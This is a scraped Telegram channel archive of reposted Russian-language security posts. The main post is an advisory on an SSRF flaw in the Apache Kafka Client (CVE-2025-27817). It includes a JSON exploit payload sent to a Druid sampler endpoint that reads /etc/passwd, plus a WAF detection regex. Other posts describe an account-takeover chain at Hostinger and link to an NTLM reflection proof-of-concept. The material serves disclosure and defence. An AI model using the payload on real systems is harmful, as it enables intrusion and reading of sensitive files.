Endi mavjud! Telegram Tadqiqoti 2025 — yilning asosiy insaytlari 
Fsecurity | HH
Kanalga Telegram’da o‘tish
Канал про ИБ Наш Discord: https://discord.gg/Eg8aDS7Hn7 Пожертвовать: > https://www.donationalerts.com/r/xackapb
Ko'proq ko'rsatish2 018
Obunachilar
Ma'lumot yo'q24 soatlar
+27 kunlar
-1130 kunlar
Postlar arxiv
2 018
Repost from Четыре луча
SSRF в Apache Kafka Client CVE-2025-27817
CVE-2025-27817 обнаружена в Apache Kafka Client и затрагивает механизм аутентификации SASL/OAUTHBEARER. Эта уязвимость позволяет злоумышленнику указать произвольные значения параметров sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что может привести к реализации SSRF.
❗️Уязвимы версии 3.1.0 – 3.9.0 — рекомендуем обновиться.
Метрики
Base core: 7,5 (High) CWE: CWE 918Описание уязвимости Kafka Client позволяет указать URL-адреса в конфигурации:
sasl.oauthbearer.token.endpoint.url
sasl.oauthbearer.jwks.endpoint.url
sasl.oauthbearer.token.endpoint.url — это параметр конфигурации в Apache Kafka Client, который указывает URL-адрес сервера аутентификации OAuthBearer, откуда клиент должен получить токен доступа.
sasl.oauthbearer.jwks.endpoint.url — это параметр конфигурации Apache Kafka Client, который указывает URL для получения JWKS (JSON Web Key Set) — набора ключей, используемых для проверки подписанных OAuth токенов.
Проблема
Kafka не ограничивает допустимые схемы URL — можно подставить:
file:// → приведёт к чтению локального файла и логированию его содержимого.
http:// или https:// → позволяет сделать запрос к произвольному серверу, в том числе во внутренней сети → SSRF.
Пример эксплойта
{
"type": "kafka",
"spec": {
"type": "kafka",
"ioConfig": {
"type": "kafka",
"consumerProperties": {
"bootstrap.servers": "127.0.0.1:1337",
"sasl.mechanism": "OAUTHBEARER",
"security.protocol": "SASL_SSL",
"sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required;"
},
"topic": "xx",
"useEarliestOffset": true
},
"dataSchema": {
"dataSource": "test"
}
}
}/druid/indexer/v1/sampler
Как защищаться
На WAF можно написать правило, которое контролировало содержимое ключей sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что бы в них не передавались схемы http, ftp, php, https, file, data.
Например подобным регулярным выражением
\"\s*sasl\.oauthbearer\.(token|jwks)\.endpoint\.url\s*\":\s*\"\s*(http:\/\/|https:\/\/|file:\/\/|php|data|ftp).*?\"Возможные исключения: в схемах https, http отсутствие адресов, недоступных для внешних пользователей.
2 018
Repost from Threat Hunting Father 🦔
Hunting Through APIs 🐱
In today’s blog, we’re diving into the world of hunting through APIs. In the blog, the advantages, limitations, and scopes of the Graph API, Azure Monitor API, and Defender ATP API are discussed. For all of these solutions, a ready-to-use PowerShell script is shared.
These APIs can enhance security operations, automate threat detection, and enable bigger automation potential. In this blog the following topics are discussed:
- Available Data
- Permissions
- API Limitations
- Hunting Through PowerShell
- Hunting the Hunters
The next blog explains how these APIs can be used in Logic Apps, so stay tuned for the next one!
🔗 https://kqlquery.com/posts/hunting-api-kql/
🦔THF
2 018
Repost from 1N73LL1G3NC3
BloodHound Query Library
A collection of Cypher queries designed to help BloodHound users to unlock the full potential of the BloodHound platform by creating an open query ecosystem.
Blog: https://specterops.io/blog/2025/06/17/introducing-the-bloodhound-query-library/
2 018
Repost from Репорты простым языком
💥 Захват аккаунта Hostinger в один клик: разбор красивой цепочки уязвимостей
Сегодня разберем элегантный кейс от ресерчера aziz0x48, который привел к 1-Click Account Takeover. Идеальный пример того, как одна маленькая брешь в доверии рушит всю защиту.
⛓️ Все началось с классического Open Redirect на домене аутентификации
auth.hostinger.com. Как мы знаем, сам по себе он часто имеет низкий импакт. Но здесь была одна важная деталь: в белом списке разрешенных доменов для редиректа находился поддомен marketing.hostinger.com. Именно он и стал слабым звеном.
⚙️ На поддомене marketing.hostinger.com обнаружилась Reflected XSS через параметр redirect_url. В итоге получилась убийственная цепочка:
– Жертва переходит по ссылке атакующего.
– auth.hostinger.com видит, что пользователь залогинен, добавляет в URL временный auth-token и редиректит его на "доверенный" marketing.hostinger.com.
– На уязвимой странице срабатывает XSS, который простым fetch отправляет весь window.location (вместе с токеном) на сервер злоумышленника.
– Профит! Токен в руках, его можно обменять на полноценный JWT и получить полный доступ к аккаунту.
🗣 Особенно интересна коммуникация с командой безопасности. Изначально они пытались понизить критичность, ссылаясь на то, что marketing.hostinger.com — стороннее приложение вне скоупа. Ресерчер грамотно парировал:
Если ваш основной сервис доверяет поддомену и перенаправляет на него чувствительные данные, то с точки зрения безопасности это ваша проблема.В итоге команда Hostinger согласилась и исправила уязвимость. 🎓 Главный вывод: Доверие должно быть подкреплено проверкой. Наличие поддомена в вайтлисте не делает его автоматически безопасным. Любая доверенная сущность — это часть вашей поверхности атаки. 🔗 Полный разбор кейса читайте на нашем сайте: eh.su/reports/124
2 018
Repost from Волосатый бублик
PoC Exploit for the NTLM reflection SMB flaw.
https://github.com/mverschu/CVE-2025-33073
На ваш страх и риск
